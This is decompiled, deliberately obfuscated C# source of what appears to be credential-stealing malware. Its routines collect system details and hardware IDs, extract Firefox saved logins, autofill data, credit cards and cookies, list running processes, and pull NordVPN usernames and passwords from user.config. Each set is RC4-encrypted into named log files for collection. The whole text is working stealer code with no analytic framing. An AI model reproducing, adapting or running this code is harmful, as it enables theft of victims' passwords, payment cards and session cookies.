array[20] = Class_14.pmethod_39();
array[21] = "\n GPU: ";
array[22] = Class_14.lmethod_38();
array[23] = "\n BIOS: ";
array[24] = Class_14.smethod_40();
array[25] = "\n ==================================================\n IP Geolocation: ";
array[26] = Class_47.IP();
array[27] = " ";
array[28] = Class_47.Country();
array[29] = "\n Log Date: ";
array[30] = Class_47.\u033B\u033C\u0355\u0314\u0330\u0316\u0326\u0327\u0349\u035Ei\u036B\u031D\u0363\u0322\u0367hzhsdavyvmobkojd\u0020\u0309\u033F\u0362\u0020\u0347\u036B\u0366\u0347\u036B\u0356\u0349\u0347\u035C\u0306\u032Djkgcmitutxmwdtwk;
array[31] = "\n Version build: ";
array[32] = Class_103.field_0;
array[33] = "\n HWID: ";
array[34] = Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz;
text = string.Concat(array);
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\System_Information.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
}
catch
{
}
}
// Token: 0x06000125 RID: 293 RVA: 0x0000BC34 File Offset: 0x00009E34
public static void GetGecko()
{
List <Class_65> list = null;
try
{
list = Class_78.ParseBrowsers();
}
catch (Exception value)
{
Console.WriteLine(value);
}
string text = "";
string text2 = "";
string text3 = "";
string text4 = "";
if (list != null)
{
foreach (Class_65 class_ in list)
{
foreach (Class_68 class_2 in class_.prop_2)
{
text = text + "URI: " + class_2.prop_0 + Environment.NewLine;
text = text + "Username: "******"Password: "******"Browser: " + class_.prop_0 + Environment.NewLine;
text = text + "Profile: " + class_.prop_1 + Environment.NewLine;
text = text + "===============================" + Environment.NewLine;
}
foreach (Class_64 class_3 in class_.prop_3)
{
text2 = text2 + "Name: " + class_3.prop_0 + Environment.NewLine;
text2 = text2 + "Value: " + class_3.prop_1 + Environment.NewLine;
text2 = text2 + "===============================" + Environment.NewLine;
}
foreach (Class_67 class_4 in class_.prop_4)
{
text3 = text3 + class_4.prop_3 + Environment.NewLine;
text3 = text3 + class_4.prop_0 + Environment.NewLine;
text3 = string.Concat(new string[]
{
text3,
class_4.prop_1.ToString(),
"/",
class_4.prop_2.ToString(),
Environment.NewLine
});
text3 = text3 + "===============================" + Environment.NewLine;
}
foreach (Class_66 class_5 in class_.prop_5)
{
text4 += string.Format("{0}\tFALSE\t{1}\t{2}\t{3}\t{4}\t{5}\r\n", new object[]
{
class_5.prop_0,
class_5.prop_2,
class_5.prop_3,
class_5.prop_4,
class_5.prop_5,
class_5.prop_6
});
}
}
}
if (list != null)
{
list.Clear();
}
if (text != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli + "\\Passwords Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
}
if (text2 != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0E47\u0020\u034D\u0020\u0E47\u035B\u0349\u0E47\u0358\u035C\u036B\u0020\u036B\u0364\u031D\u033Emirhvahtmnvwxjwq\u0E47\u0355\u0020\u0335\u0E47\u034E\u0323\u0349\u0340\u0E47\u0307\u030B\u0020\u030B\u0360\u035Bgkliuuhtpiuahszp + "\\Autofills Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text2)));
}
if (text3 != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0339\u0020\u0332\u0324\u0349\u0020\u0359\u0020\u0368t\u034E\u0342\u0330\u0331\u0020\u0329apcrmahbbefdsscl\u0349\u0353\u0307\u034F\u0347\u035B\u032C\u0352\u032B\u0331\u0020\u0325\u0330\u0326\u0020\u031Dagehontzszdfjqjv + "\\Cards Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text3)));
}
if (text4 != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0020\u033F\u0315\u0350\u0352\u0367\u0E47\u0020\u0358\u032F\u0307\u0347\u0324\u033A\u0348\u036Avgwkwyiffpxhvsqg\u0340\u0020\u0358\u0333\u0020\u0351\u035B\u031C\u0020\u0E47\u0E47\u0363\u0020\u0366\u0331\u035Fqalqdbmxtcrpprqk + "\\Cookies Firefox.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text4)));
}
text = null;
text2 = null;
text3 = null;
text4 = null;
}
// Token: 0x0600004D RID: 77 RVA: 0x000042F0 File Offset: 0x000024F0
public static void kmethod_37(string str_0)
{
try
{
string text = "";
foreach (Process process in Process.GetProcesses())
{
text = text + process.ProcessName + Environment.NewLine;
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\Processes.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
}
catch
{
}
}
// Token: 0x0600001B RID: 27 RVA: 0x00002ED4 File Offset: 0x000010D4
public static void pmethod_9(string str_0)
{
try
{
if (Directory.Exists(Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm + "\\NordVPN\\"))
{
Directory.CreateDirectory(str_0 + Class_7.field_1);
DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm, "NordVPN"));
if (directoryInfo.Exists)
{
string text = "";
DirectoryInfo[] directories = directoryInfo.GetDirectories("NordVpn.exe*");
for (int i = 0; i < directories.Length; i++)
{
foreach (DirectoryInfo directoryInfo2 in directories[i].GetDirectories())
{
text = text + "\tFound version " + directoryInfo2.Name + Environment.NewLine;
string text2 = Path.Combine(directoryInfo2.FullName, "user.config");
if (File.Exists(text2))
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(text2);
string innerText = xmlDocument.SelectSingleNode("//setting[@name='Username']/value").InnerText;
string innerText2 = xmlDocument.SelectSingleNode("//setting[@name='Password']/value").InnerText;
if (innerText != null && !string.IsNullOrEmpty(innerText))
{
text = text + "\t\tUsername: "******"\t\tPassword: "******"\\Account.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
}
}
}
catch
{
}
}